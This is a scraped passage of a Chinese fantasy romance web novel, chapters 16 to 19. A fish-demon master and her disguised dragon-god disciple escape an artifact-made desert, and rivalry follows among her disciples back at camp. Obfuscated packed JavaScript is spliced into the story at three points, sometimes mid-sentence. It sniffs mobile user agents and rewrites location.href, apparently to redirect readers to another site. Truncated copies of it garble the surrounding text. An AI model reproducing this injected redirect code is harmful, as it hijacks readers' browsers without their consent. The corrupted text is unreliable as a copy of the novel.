看着眼前突然出现的沙漠,白骊珠莫名兴奋起来:“十五夜,我们昨天路过这里,这里不是有一座瀑布吗?怎么现在变成了沙漠?这难道是传说中的海市蜃楼吗?这也太真实了吧?” “我来看看是不是真的?”她一脚踏入眼前的沙漠中。 十五夜一惊:“不能进去,你快出来——”他一把拉住白骊珠的手腕,想要将她拉出来,但为时已晚—— 白骊珠一脚踏入流沙之中,周围就形成了巨大的流沙漩涡,她根本站立不住,只觉得脚下有一股巨力,要将她卷入流沙之中,只得大喊一声:“阿夜,救我——” 身体被撕扯着急速下坠,被流沙裹挟着不知要前往何方。白骊珠心中一片绝望,龙神遗骨没拿到,就先栽在这沙漠里,真是冤死了。 她努力上探,想要抓住些什么,但除了指尖不断漏下的流沙什么都没有。眼前也越来越黑,被沙子裹挟得几乎让她窒息。终于,在被流沙彻底淹没之前,她感到有人抓住了她的手。 16. 第 16 章 流沙很快没顶,但身体的坠落仍没有停下来的趋势。 不,这不是单纯的下坠,而是忽上忽下,忽左忽右,白骊珠耳畔不断响起呼啸的风声和“哗啦”的流沙声。他们身处沙漩的中心,被狂风牵引着不知要往何方。 白骊珠愈发惊恐,水族确实很不适应这种干燥的环境,身体埋在黏糊糊的沙子中,水分急剧流失,让她浑身难受,感觉自己会脱水渴死。唯一欣慰的是,在狂风乍起之刻,十五夜抓住了她,两人才没有被分开。 “阿夜,阿夜——” 她试探着叫了几声,十五夜始终没有回音。 不知过了多久,风声终于停了下来,身体下的流沙也停止了流动,她终于重新见到了天光。 这时,她发现她的上半截身体被抛洒出地面,下半截身体仍然埋在沙子之中。 至于十五夜,则如倒栽葱一般头朝下、脚朝上地被埋在流沙之中,只有右手露出沙面,握着她的左手。 “阿夜?” 被流沙埋了的人没有回音,只有手指微微动了一下。白骊珠感到他的指骨凉得惊人。 “阿夜?徒儿?喂,你不会死了吧……” 还是没有回音。 白骊珠顾不得其他,她飞快地从流沙中爬了出来,又用双手慢慢扒开十五夜身边的沙子,将他拔了出来。她用手探了探,十五夜额头滚烫无比,不知什么时候他又开始发烧,还烧得晕了过去。 尽管十五夜战力不错,这动不动就晕倒的身体还是太拖后腿了。 白骊珠抬眼向四周看去,头顶的月光冷白,四周除了漫漫黄沙,什么也没有。他们被风漩卷到什么不知鬼地方。 白骊珠这时不是惊恐,而是绝望了。 她匆匆追着十五夜出来,身上没有带任何食物和一丁点儿水。 没有食物也就罢了,她的妖力还不错,就算十天半月不进食也没太大关系,但身为水族,一天没水,她就受不了。 他们两人刚才被裹在流沙中,身体已经大量失水,如果不能趁着夜晚尽快找到出路,等到太阳出来,他们两条咸鱼就会变成沙漠里的小鱼干了。 她作为一只白鱼,在沙漠里自身都难保,还带着一个拖油瓶。一定是老天爷看她这段日子过得太顺心了,给她找点难题考验一下。 她将十五夜安置在一个避风处,喊道:“阿夜,你醒醒……” 十五夜烧得厉害,突然睁开眼睛,看了白骊珠一眼,迷迷糊糊问道:“师父,你有没有受伤?” 她的大弟子这会儿,一点也不像醒着的时候那般冷感,白皙的面庞上浮着一层浅浅薄红,眼角的泪痣也更加分明,显得十分脆弱。好在比之前多长了一点良心,明明自己都烧糊涂了,还惦记着她有没有受伤。 白骊珠心中生出一丝怪异的感觉,答道:“我没事,只是这沙漠是怎么回事,我们现在该怎么办?” 她心中有一些羞愧,按理来说,她是他的师父,该想办法带着他走出困境,不想自己反而两眼一抓瞎,事事问徒弟。 好在十五夜也没有觉得不对劲,他昏昏沉沉答道:“这个沙漠是山河图形成的……山河图形成的地貌自有边界,只需要找到正确的方向,便能出去……” 说完,他又晕了过去。 白骊珠一听山河图就明白了。她的本职是炼器师,而山河图属于天阶灵器,造价甚高,像白骊珠这样的穷鬼就算知道配方也凑不齐材料,所以向来只有耳闻,没有目见。不知那两人是什么身份,这么贵的灵器说用就用,这得多少钱啊? 真是暴殄天物啊! 白骊珠看十五夜人事不省的模样,心道这找路出去的大任是要落在她头上了,她只好将十五夜移到背风的地方,叮嘱道:“十五夜,你坚持一下。我找到出路就带你出去,你就这里等我,不要乱跑……” 十五夜昏昏沉沉地“嗯”了一声。 白骊珠一个人在沙漠里走了很久,发现四周都是一样的沙丘,见不到任何人,也找不到方向,一直到第二天太阳升起,也没有找到出路的路。 太阳出来后,天更热了。她从没见过这么毒辣的太阳,身体里的水分在太阳的炙烤下急速流失。无奈,她只好先回去找十五夜商议。 到了地方,根本看不到十五夜的人影。 她找了一会,才发现他不知怎么又被流沙给淹没了,她费劲将他从沙子里扒出来,才发现他只有上半身堪堪维持着原形,仍然发着高烧,下半身已经化为白色的鱼尾。 “阿夜,阿夜……”她又叫了他几声,没有得到任何回应,他的呼吸也轻微到几不可闻。 白骊珠心知不妙,妖族在妖力下降时,会无法维持人形,现出原身。 水族本就特别惧怕缺水的环境,十五夜又因病发烧,水分流失更快,这让他的身体几乎到了极限。 也许这时只需要一点水,他便能活下去,可惜举目四望,什么都没有。 白骊珠心想,蓝鹊儿这时候应该已经找到了纪长怀,纪长怀和乌小孙如果发现他们一晚上都没有回来,或许会找他们。 他们仨一个是兽族,两个是羽族,并没有那么害怕缺水。如果十五夜能坚持到乌小孙他们找过来,或许还有一线生机,但这是最好的情况。更有可能的情况是,纪长怀根本不知道发生了什么,更不会找到这片沙漠了。 她说不定还能坚持两天,十五夜今晚多半就会死去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849848|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白骊珠咬咬牙,将手指咬破,将它放入十五夜的口唇之中。 没有水,若想要救人,只能用鲜血来代替了。 十五夜的身体因为脱水而渴极,虽仍处于昏迷状态,感觉到唇腔里湿润的味道,不自觉地渴望甘甜的水滴,轻轻舔着她的手指。 即将渴死之人,又岂是这涓滴之水可以满足。很快他就不满足于缓缓流淌的血液,他咬破她娇嫩的血肉,用力吮吸起来。 白骊珠闷哼一声,血液迅速从体内流走,这种感觉又是疼痛又是销魂,失血的感觉和太阳的烤晒让她的身体也不受控制,意识逐渐恍惚。 不知过了多久,指尖传来的剧痛,让她模糊的意识再次清醒,发现她的那一节指骨已被十五夜吮吸得发白,再也榨不出一滴鲜血来,可是十五夜失水过多的身体并未得到满足,他啃咬着每一寸的肌肤,想要得到更多的甘甜,尾鳍不自觉地拍打着身下的流沙。 白骊珠向他身下看去,只见他胸腹之下都已经化为鱼形,在他的胸腹之间可以看到一枚金色的鳞片,在阳光下散发出虹光,熠熠生辉。这正是他的灵骨,被称作七彩虹鳞的十大灵骨。 白骊珠突然犹豫了。 她对自己说道,白骊珠啊白骊珠,你当初捡这个徒弟是为了什么?不就是为了得到这片虹鳞吗? 现在计划即将成功,又何必瞻前顾后。 现在只要不管他,十五夜很快就会渴死在这片沙漠里,届时,你取了虹鳞再想办法与纪长怀他们会合便是,又何必浪费自己的鲜血去喂他,搞不好,自己也会脱水而死,和十五夜一起成为沙漠里的鱼干。 可是,白鱼一族已经覆灭了。在整个妖界,可能只有他是你的同类了。 再一想,身为妖界的濒危保护物种,她首先应该保证自己的存活,才能考虑种族繁衍的问题,绝不是和他一起死在这里。 她咬咬牙,将自己的手指拔了出来。 失去血液的滋灌,十五夜很就奄奄一息。他的眼睛睁开,虹膜开始放大,从脖子以下的身体都开始鳞化,这是白鱼一族濒临死亡的征兆。 白骊珠心中又开始挣扎,救一个人很难,而眼睁睁自己的同类死在自己眼前更难。更何况,若不是为了救她,十五夜也许根本不会陷入流沙之中。 她终于耐不住,用匕首割开自己纤细的手腕,将鲜血灌入十五夜的口中。手腕的血管比指尖要粗上许多,鲜血流失的速度更快,白骊珠发觉自己的身体也开始脱水,下半身的双腿化成鱼尾。 在彻底昏迷之前,白骊珠喃喃道:“徒儿啊,师父只能做到这里了。你若是能活下去,你就是妖界最后一尾白鱼了,我们白鱼一族的繁衍重任就交给你了……” 17. 第 17 章 白骊珠做了一个梦。 梦中,她舒展着长长的尾鳍,在长月海中自由徜徉。海底生长着色彩斑斓的珊瑚,嫩绿色的海草摇曳滋长,汇聚成光怪陆离的光影。 海水清澈无比,月色胧明,就算隔了数百尺的海水,也能直洒海底。月光照在她的金边银鳞上,散射出美丽的光泽,水母们围着她跳舞,伙伴们游过来,围绕着白鱼一族尊贵的小公主快乐地欢唱。 忽地,海底深处传来一阵巨响,随即海水的温度也急剧升高,同伴们都吓坏了,纷纷离开深海,往家的方向奔逃。 白骊珠也向家的方向游去,半路上看到一只长着金鳞的大白鱼,她舞动着双鳍游了过去,“阿娘——” 大白鱼游到她身前,化作一位年轻和蔼的妇人,道:“骊珠,化作人形,我带你到岸上去。” 白骊珠讶异道:“阿娘,发生了什么,我们白鱼一族一直生活在深海之中,为什么要去岸上?” 母亲神色忧惧:“刚刚长月海发生了一场地震,海底的地壳被推高,出现了塌陷,现在,海水正在飞速往塌陷处下陷,只怕用不了七天,长月海就会彻底干涸,化作戈壁滩。父亲和族人们正在想办法堵住海底下面的缺口,挽救长月海,这段时间阿娘没时间照顾你。我已经用你姑姑留下的传讯符给她传信,她会尽快来接你,你先和姑姑一起在濯水居生活一段时间,等长月海一切稳定了阿娘再去接你回来。” 彼时,白骊珠已经十五六岁,按照白鱼一族的年龄来说,刚刚进入少女期。她听出了母亲话中的悲观和惶然,追问道:“母亲,如果无法堵住缺口,我们白鱼一族会遇到灭族的灾祸,是不是?” 母亲轻柔地摸了摸她的头:“我的骊珠儿修为不错,能化形在陆地上生活,万一阿爹阿娘将来不能去接你,你就在陆地上跟着姑姑好好生活。” 白骊珠流泪道:“不,不,阿爹和阿娘也都能化形在陆地上生活,既然长月海面临干涸,为什么我们不迁移到其他地方生活?” 母亲摇头道:“不成的,这有这片海洋才是龙神大人赐予我们的领地,才是我们栖息繁衍的家园。不是所有的族人都能适应岸上的生活,大部分的族民修为不够,是无法离开长月海的,他们只能和这片海共存亡。阿爹和阿娘是白鱼一族的族长,更不能抛弃族人们独自求生。而且……而且长月海也不一定就会干涸,你的父亲已经派了族人去龙神居住的北海向溯夜大人求救,溯夜大人是水族之主,有移山造海之能,如果溯夜大人能够及时赶到,一定能挽救长月海,挽救白鱼一族。” 白骊珠第一次听到龙神大人的名字,喃喃道:“龙神溯夜?” 母亲纠正道:“龙神溯夜对于白鱼一族有再造之恩,不可直呼其名,要尊称他为溯夜大人。” 母女两人游到了岸上,母亲将白骊珠安置在青石滩上,拿出一袋她最爱吃的海桑果,说道:“你就在这里别动,等着姑姑来接你。” 海水翻腾,母女两上岸的一会功夫,水位又下降了不少,母亲尽管舍不得自己的女儿,还是狠下心返回了海底。 那天的海桑果特别甜,白骊珠忍不住吃了许多,她等了很久,也没有等到姑姑,就在青石滩上睡着了。 她不记得自己睡了多久,只知道醒来之后,曾经宽广的长月海完全消失了,海底完全干裂,那些斑斓的珊瑚和美丽的海藻已经完全枯死。 姑姑并没有来,她一个人在已经干枯的海床上奔跑,寻找着爹娘和自己的族人,最终一无所获。长月海消失了,曾经繁荣的白鱼一族也一同消失了,就像从没有出现过。 只除了她。 到晚上的时候,她觉得干渴非常,才意识到自己几天没喝过水了。她在已经干涸的海床上走了一天一夜,连一滴水都没有找到。她嘴唇干枯,皮肤皲裂,也许会渴死在这片涸泽里。 她想,如果这个时候有人给她一汪水泽,她愿意用一切去交换。 这么想着,她忽然发现身下干枯的污泥突然涌出清澈的地泉,甘甜的水源将她身下的海洼灌注成一座小小湖泊,也把她的身体托起。她重新化作一尾白鱼,在湖水中来去自如。 白骊珠茫茫然睁开眼睛,感到全身清凉湿润,嘟哝一声:“果然是做梦啊,梦里什么都有。” 她想了想,在美梦中死去,总好过在炎热酷烈的沙漠中干渴而死,她翻了个身,打算重新睡去。 这一翻身,身体下面似乎并不是实地,还伴着哗啦啦的水流声。她心知不对,再次睁开眼睛,发现眼前并非沙漠,梦中的场景成真,她确实身处水底,身体已然化作一尾巨大的白鱼,在清澈如碧波的水中悬浮着。 这是怎么回事,她记得她昏迷之前明明是在沙漠之中,还差点渴死,怎么醒来会是在甘甜的湖水中。 还有,她的徒弟十五夜呢? 想到十五夜,她奋力摆动尾鳍,向湖面上游去。 白骊珠在湖底安睡的时候,溯夜坐着大湖岸边,神情复杂地看着水面之下那尾白色大鱼。 先前,他苏醒之时,发现他和白骊珠竟紧紧贴在一起。准确地说,是他抱着白骊珠染血的手臂,鲜血从她的臂上的伤口流入他的唇舌中,女子娇嫩的腕上全是被他咬破的齿痕。 其中最深的那一处伤疤,是她用匕首所划破。 显然,在他昏迷之时,是她给他喂食了自己的鲜血,才保住了他的性命。而白骊珠因为失血过多,妖力虚弱,下半身已化作鱼身,奄奄一息。只怕再差一步,就会因为脱水而死。 更让他意外的是他身体的状况,喝过白骊珠的鲜血之后,他身体的状况倒是比从前好了很多。 身魂不和带来的眩晕感也减弱了许多,就连妖能也恢复到龙神本尊三分之一的水准,甚至他能感觉到,只要继续食用她的鲜血,他的魂魄就能慢慢与现在的身体融合,就连彻底恢复过去的能为也不是不可能。 虽想不通为什么,但他能感知到,他现在的身体似乎和白骊珠有着某种牵连。 他历无妄劫死而复生这件事,说不定也与白骊珠有关。至少,也和白骊珠这个徒弟“十五夜”有关。 如果是这样,他倒是不急着回雪顶天池了——也许只有留在白骊珠身边才能知道事情的真相。 当然,当务之急,是尽快治疗白骊珠,让她尽快苏醒。可惜,沙漠里寸草不生,他手边也并没有合适的药物。 他想了想,白鱼一族的生活离不开清澈的水源。白骊珠的昏迷一半是因为失血,一半是因为脱水,只要让她回到水中,她的身体就会慢慢恢复。 溯夜催动自身妖能,庞大的妖力深入脚下的土地。很快,脚下的流沙飞快下陷,流沙下方涌出清澈地泉,在这方沙漠中凭空凿出一座大湖。湖水将两人淹没,白骊珠的身体也彻底化为妖形——一尾白鳞金尾的大鱼。 龙神大人虽然有移山造海之能,可眼下这具身体也无法发挥出全部的实力,为造出这么一方小湖,他的妖能几乎耗尽了,只好靠在湖岸边暂时调息。 白骊珠跃出水面,重新化为白衣上襟、金色裙裾,腰悬金铃的曼妙女郎。 她看到十五夜好生生地坐在湖边,舒了一口气,关切道:“阿夜,你身体怎么样?我们怎么在这里,还有这片大湖是怎么出现的?” 十五夜当然不会说这片湖是自己造的,道:“徒儿醒来的时候见到师父昏迷不醒,便背着师父往外走,和纪师弟他们会合,没想到沙漠深处还有这样的大湖。我想师父昏迷是因为脱水而致,所以便将师父放入水中休息。” “这大湖是沙漠里本来就有的吗?”白骊珠轻轻蹙眉:“奇怪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856158|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我昨天在附近绕了一大圈,怎么没有发现?” “沙漠这么大,师父之前遗漏此处也说不定。” 十五夜的眼神流露出恰到好处的感激,转移了话题:“多谢师父你用自己的鲜血救我,如果不是师父,我现在说不定已经死了……” 白骊珠没有再纠结大湖的事,她换上轻松的语气:“你既然是我的徒儿,师父当然要对你负责。” 她看了看他的肋间,心中还是有点遗憾,明明那些珍贵的灵骨只差一步就到手了。 转念一想,现在的结果也还不错。经此一遭,十五夜肯定会对她更加死心塌。他实力强大,就连羽族郡主也不是他的对手。只要能顺利登上雪顶天池,她得到龙神遗骨的可能性还是不小的。 虹鳞虽然值钱,但她现在已经从冤大头纪长怀身上搞到不少钱了,当下还是龙神之心更有吸引力。 她看了看天色,已经是下午。如果今天不能走出沙漠,只怕要在沙漠里再耽搁一天。 白骊珠道:“徒儿,你身体恢复了吗?” “我已经没事了。”十五夜点头,试探道:“不知为何,喝过师父的血之后,我的身体好多了,师父可知个中原因?” 白骊珠微微一惊,她的血还有治病的功效?她含糊道:“这大概是因为我们是同族,血脉本就同出一源的关系。既然没事,我们就先离开这里,和纪长怀他们会合。在这里耽搁了一天,耽误了不少路程,得赶紧赶路上山才行。” 她在前方带路,十五夜跟着她向前走。可是走了一段路,他发现不对劲了,她简直是无头苍蝇一般乱转,带着他在沙漠中绕圈。 十五夜停下来,饶有兴致地看着她:“师父,您知道回去的路吗?” 白骊珠身为师父,怎么能在徒弟面前失了面子。她怎么好意思说她昨日一晚都没有找到出路,硬着头皮道:“当然知道了,你跟着我走就是了。” 十五夜欲言又止,这青崖本是他的地盘,山川地形他再熟悉不过。山河图只是改变了一小片区域的地貌,不可能改变青崖整体的地形。她走的方向和昨日休息的营地根本就是南辕北辙。 他眼下心情不错,觉得既然是做徒弟的,不能当面拂了师父的面子,不然他在白骊珠心中就愈加不如纪长怀了。 “师父今日为徒弟失了不少鲜血,徒儿也该尽一尽身为徒弟的本分。不如师父给徒儿指一个方向,徒儿背着师父回去。” 白骊珠脸上绽放灿烂笑容:“想不到徒儿你还有这等孝心,为师十分感动。” 她心想,看来纪长怀这个徒弟也没白收,如今十五夜跟着学会孝敬师父了。 啧啧,有两个孝顺的徒弟,很快就可以躺平等徒儿养老了。 十五夜:“为师父分忧,是徒儿份所当为之事。” 十五夜微微躬下身子,白骊珠爬上他的后背,她指了指前方:“阿夜,你顺着路往前走就是,如果太阳落山之前还没有见到纪长怀,我们就再回湖边休息,明天再换一个方向再试……多试几次,总是能找到大路的……” 十五夜一阵无语。她这样找路,能走出去才是怪事! 当然,作为一个合格的徒弟,是会去质疑自己的师父的。就算心中质疑,也应该给师父留足面子。 他恭顺地答道:“好的。” 也许是昨夜没休息好,也许是徒弟的宽阔的后背趴着过于舒服,白骊珠没一会儿就睡着了。等她醒来之时,天色已暮,纪长怀搭建的营地就在不远的前方。 她开心地拍手:“我就说嘛,我是知道路的,不可能运气每次都这么差,你看这不是到了吗?” “是是,师父英明。”在她看不到的角度,十五夜嘴角微微弯起,从喉骨深处溢出一声低笑。他背着白骊珠进入营地,将她放了下来。 18. 第 18 章 营地中,纪长怀、蓝鹊儿、乌小孙围着篝火,垂头丧气地坐着。他们三人找了白骊珠和十五夜整整一天,找遍了方圆数里,还是一无所获。 纪长怀心情糟糕透了,他好不容易拜了个厉害的师父,功夫没学到一点,师父和师兄就一起失踪了。这要是紫凰郡主又找回来逼婚,他岂非真的要被逼跳崖。他不敢多想…… 蓝鹊儿心中更是内疚,如果不是为了自己,白骊珠和十五夜就不会去追那两个蒙面人,也就不会失踪了。 两人都想着自己的心事,对着篝火相对无言。只有乌小孙一个人忙着生火准备食物,不管怎么说,就算要找人也得先把肚子填饱再说。可惜,他没有纪长怀的手艺,烤出来的食物黑不溜秋,让人见了就没有食欲。 乌小孙看着自己的“杰作”,也怪不好意思的,忙碌的手渐渐停了下来。 于是,当白骊珠回到营地,看到三人围着篝火垂头而坐,一言不发,就像三个锯了嘴的闷葫芦。 白骊珠在十五夜背上睡了一天,这会精神不错,正好肚子有些饿了。她闻到食物的气味就来了劲,赶紧从十五夜背上下来,在蓝鹊儿和纪长怀中间钻了进去,伸手一探将饼捞了出来:“喂,这饼都烤糊了,你们怎么还不取下来呢?” 纪长怀听到白骊珠的声音,喜出望外,眼中刹那间放出了光。他注视着白骊珠,差点儿哭出来:“师父,你回来了,真是太好了——” 蓝鹊儿也舒了一口气,满脸笑容地迎上来:“骊珠,你没事真的太好了。我还以为……你们遭了猎妖盟那两人的毒手呢……吓死我了……” 白骊珠啃了一口烧饼,想起昨晚的经历,也觉得心有余悸,接口道:“嗨,那两个猎妖盟的混蛋真是太可恶了,竟然有山河图这种大法器,害得我被困在沙漠里一天一夜,差一点渴死……” 她话说到一半,注意到一旁纪长怀直愣愣的目光,想起了自己现在的人设是修为高强的武学宗师,万万不能漏底,漏底可就不值钱了。 她话锋一转,赶紧补救:“还好,我一早就识破了他们的阴谋,这才和十五夜从山河图中成功脱身。”她杀气腾腾道:“哼,下次再让我看到猎妖盟的人,非让他们吃不了兜着走——” 她又将烧饼撕咬了一大口,仿佛这烧饼就是那害得她差点渴死的两个混蛋,她要生啖其肉,才能甘心。 那边蓝鹊儿听得一愣一愣的。 她和白骊珠在真炎宗时本是同门,虽然出师之后各奔东西,久未来往;但她也清楚白骊珠在炼器之道上很有天赋,武学上的修为倒并不怎样。 没想到三年之后再见,白骊珠已然成了妖界首富青丘纪家三公子的座上师,身边还跟着一个修为深不可测的大徒弟。这要是往常,蓝鹊儿自然就得问问白骊珠这三年到底有何奇遇了。可是她也担心,万一白骊珠是在扯虎皮挂大旗,她这一开口,不就露馅儿了吗? 她欲言又止,止言又欲,忍得十分辛苦。 白骊珠也注意到了她的神情,飞快地用两只手做了一个手势,那是从前两人之间的暗号,就是晚点再说的意思。蓝鹊儿心领神会,不再开口。 纪长怀敏锐地观察到白骊珠手腕上尚未愈合的伤口,长眉一蹙,问道:“师父,你这伤口是怎么回事?” 她手上的伤口原是给十五夜喂血自己割出来的,这会伤口刚刚愈合,浅红色的一道疤十分骇人,旁边还有一些被啃咬出的痕迹。虽然说纪长怀未必能看明白,但白骊珠想起昨夜十五夜昏迷之时,抓着她的胳膊噬咬,莫名感觉有些羞耻,她连忙用袖子掩住伤口,含糊道:“昨夜你师兄遇险,我是为了救他才受了一点小伤……” 咳,这绝不是自己这武学宗师的名头有水分,才受伤了的。 纪长怀哪里知道“师父”的心思,他本就看十五夜不太顺眼,听闻白骊珠是为了他才受伤,登时跳了起来,指着十五夜冷笑道:“呵呵,师兄还真是好能耐呢!和师父一起出门,让师父受伤,自己倒是毫发无损地回来,还真是我中用的好师兄呢——” 他尾调故意拉得老长,讥讽之意溢于言表。十五夜气得牙痒痒:“纪长怀,你——” 纪长怀得理不饶人,腰杆子挺得更直了:“我什么我,自己窝囊废,遇险让师父救还不让人说了……怎么,你还想打我?呵,我看你就是内战内行,外战外行,就只能在家里欺负欺负小师弟,出了门,谁都打不过——” 十五夜差点没给气死,深深后悔当初从紫凰郡主手中救了这货回来,别的本事没有,技能点全点嘴皮子上了,这一轮炮火全对准了他。 他双手握拳,深呼吸几口,才将那梗在心口的那口气缓缓吐出来,又强忍下将纪长怀原地掐死的冲动。 溯夜啊溯夜,你都活了上万岁了,怎么能跟一个毛都没长齐的孩子计较? 就算不看青丘纪家的面子,兽神陆崖的面子你总该要给的。就算兽神陆崖的面子不给,他怎么说也是自己的师弟,师父的面子也是要给的。 白骊珠见十五夜双目通红,额头青筋暴出,想要动手却又强自压抑,生怕他一个忍不住真将纪长怀暴打一顿。虽说师兄弟争风吃醋打个架没什么,但如今纪长怀可是她的金主,这金主要是有了闪失,她还怎么挣钱? 对于她这样穷了一辈子,好不容易翻身转运的人来说,保护金主可是一等一的大事。 她瞪了纪长怀一眼,训斥道:“长怀,你怎么能这么跟师兄说话呢!我身为你们的师父,遇到危险当然应该顶在前面,怎么能让徒弟受伤呢?” 十五夜听了这话,心里那股滞郁之气不经意间慢慢消散。 他想,我可喝过师父的血呢。如果师父对十五夜没一点点那种心思,又怎么会在生死关头用自己的血救徒弟的性命呢? 他纪长怀算什么东西?师父不过是拿他当冤大头,想从他手中多搞些钱。堂堂龙神大人何必吃这口飞醋? 纪长怀有什么,说到底也就是钱而已嘛。 可这天下间还有谁比堂堂龙神大人更有钱。 等他回到雪顶天池,多拔一些龙鳞送给白骊珠,她就不会为了钱收纪长怀这个徒弟了。 届时,他一定要将这个师弟扫地出门。 另外一边,纪长怀耷拉着脑袋,仿佛斗败了的公鸡。他不过是看到师父受伤,气不过说了两句,师父就马上跳出来指责他。 哼,早知道师父更偏爱师兄,谁让他跟师父的时间长呢?此时此刻看清楚自己是不太受宠的那一个,还是不由地心头发苦。 白骊珠看着纪长怀眼眶都红了,立马意识到刚才自己端水没端稳,过于偏向十五夜,立马补救道:“长怀啊,你也别觉得师父偏心。如果昨天遇到危险的是你,师父也会不顾一切救你的——” 她自认为这番话不偏不倚,谁也不得罪。 谁知,十五夜听了这话,冷哼一声,顶着一张冷若冰霜的脸走开了。 纪长怀见了,冷笑着吐了一个“呵”字,径自往帐篷走去。 白骊珠看看左边,又看看右边,百思不得其解:“难道我说错话了?” 那边蓝鹊儿抿唇笑了一声,“骊珠,你这两个徒弟真有意思。看来离开这真炎宗这三年,你是大有奇遇……” 白骊珠看着蓝鹊儿探究的目光,想着从自己从青崖海滩捡到十五夜,不过短短五天而已。她道:“奇遇哪里需要三年,只需要几天就够了。” 她拉着蓝鹊儿进了自己的帐篷,将这几天发生的事情说了一遍,又道:“鹊儿啊,我这么做的目的全是为了得到龙神遗骨,如果能从纪长怀这冤大头手中多搞点钱,就再好不过了。现在炼器师这行业也越来越卷,要是这次从青崖空手而归,我可就连饭都吃不起了。鹊儿,你一定要帮我保守这个秘密。” 蓝鹊儿听得瞠目结舌,最后拍着胸脯道:“骊珠放心,你这么相信我,我一定帮你保守这个秘密。” 白骊珠这才放心:“对了,鹊儿你这几年过得怎么样?为何上了青崖?又怎么会遇到那几个猎妖盟的人?” 蓝鹊儿叹了一口气:“我这几年也和你差不多,离开真炎宗之后没接到什么活,好在我家中还有一些积蓄,勉强维持生活这样子。我和你同样,也是听说了龙神遗骨的事,想要来青崖碰碰运气。开始几天我跟着大部队一起上山,倒也没事。后来我想,我跟在这些人后面,势单力薄,又如何能得到龙神遗骨,所以抄了一条小路,赶在前面,没想到遇到那两个蒙面人,差点丢了性命,幸好遇到骊珠你……” 白骊珠问:“接下来你打算怎么办?” “昨天我脱险之后,本来想以我的实力要上山得到龙神遗骨简直是痴人说梦,干脆下山算了。”蓝鹊儿自嘲一笑:“今天仔细一想,这些上山的大妖中肯定还有不少猎妖盟的人,我孤身一人,下山也未必安全,不如和你们一起行动。” 蓝鹊儿道:“骊珠你放心,我并没有和你争夺龙神遗骨的意思,而且我看昨天猎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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十五夜伸出手,肃容道:“龙血竭呢?拿出来……” 纪长怀脸色极其不自然:“什么龙血竭,我不知道师兄你在说些什么……” 十五夜冷哼一声:“三百年前,纪师弟周岁之时,龙神溯夜往青丘赴宴,当时他带了三件至宝为贺礼,其中最珍贵的就是龙血竭,那是龙神的心头血为药引制成的天地财宝,对于一般大妖而言,不管什么伤势,用过龙血竭都能恢复如初。” 纪长怀一愣:“你怎么会知道?” “我当然知道。” 十五夜心道,这龙血竭本就是因为当时兽神陆崖帮了他一个大忙,他才送出去偿还这个人情。这无知小辈,竟然还问他怎么知道? 当然,当着纪长怀的面,龙神大人是绝不会承认自己身份的。想想他堂堂水族之主竟然沦落到和纪长怀这个草包成为师兄弟,他面子里子都丢光了。 他冷哼了一声:“今天师父受了伤,身为弟子,纪师弟不主动将龙血竭拿出来给师父治伤,反而还藏着掖着舍不得。这就是师弟你身为徒弟的本分吗?” 纪长怀瞪圆双眼:“可师父只是受了一点小伤啊……” 龙神溯夜的心头血何等珍贵,入药制成龙血竭更是仅此一份。纪长怀怀揣着这份至宝,自小就被母亲舅舅耳提面命定要小心保管,不到万不得已不可使用。 白骊珠是受伤了没错,可是不过养两三天就恢复如初了。他这师兄竟然要自己将如此宝贵的龙血竭拿出来治伤,这不是大材小用、暴殄天物是什么? 十五夜哂道:“呵,师弟今日指责我害师父受伤,我还以为师弟有多敬爱师父,原来也不过如此。既然师弟舍不得自己那不值钱的狗皮膏药,师兄也就不说什么了……我自己去寻药材给师父治伤……” 纪长怀心中吐血。 龙血竭啊! 那可是整个妖界都独此一份的龙血竭。他的脚受伤跛了两天,他都从没想过要用它来治伤。怎么在师兄口中就变成了不值钱的狗皮膏药…… 但是! 不蒸馒头也要争口气。 他是绝不会将这个在师父面前表现的机会让给师兄的。 师父本来就偏爱师兄了,若是再让师兄找来药材给师父治伤,恐怕师父越发觉得自己不如师兄。 相反,若他主动给师父献上良药,等师父痊愈,自然知道谁是最贴心的徒弟。届时,他在师父心中的地位肯定大大不同,这样一来,有的是十五夜后悔的时候。 不就是龙血竭吗,有什么了不起,他现在就拿去熬了。 …… 19. 第 19 章 白骊珠和蓝鹊儿又叙了一些别来旧事,直到夜已沉沉。白骊珠眼皮子已经打架,正打算睡觉,营帐帘外传来纪长怀的声音:“师父,你睡了吗?” 金主到访,白骊珠一下子清醒了,“没呢?长怀,你有事吗?” 纪长怀道:“今日师父受伤而归,徒儿特地来奉汤药。” 她摸了一支蜡烛点燃,火光亮起。纪长怀拨开帘子走了进来。他手中是一方精致小巧的托盘,中间放着一只精美的云纹瓷盏。纪长怀打开瓷盖,一股香味扑面而来。 异香扑鼻,白骊珠猛吸两下鼻子。纪长怀端着托盘,走到白骊珠身前,单膝跪下,将托盘高举:“徒儿特地熬制了汤药,请师父服用。” 白骊珠也没多想,毕竟纪长怀作为弟子,服侍师父一向周到细致。她端起瓷盏,将盘中汤药一饮而尽。 纪长怀却并没有离开的意思,反而就着烛光盯着白骊珠之前受伤的手臂,问道:“师父,你觉得伤势好些了吗?” 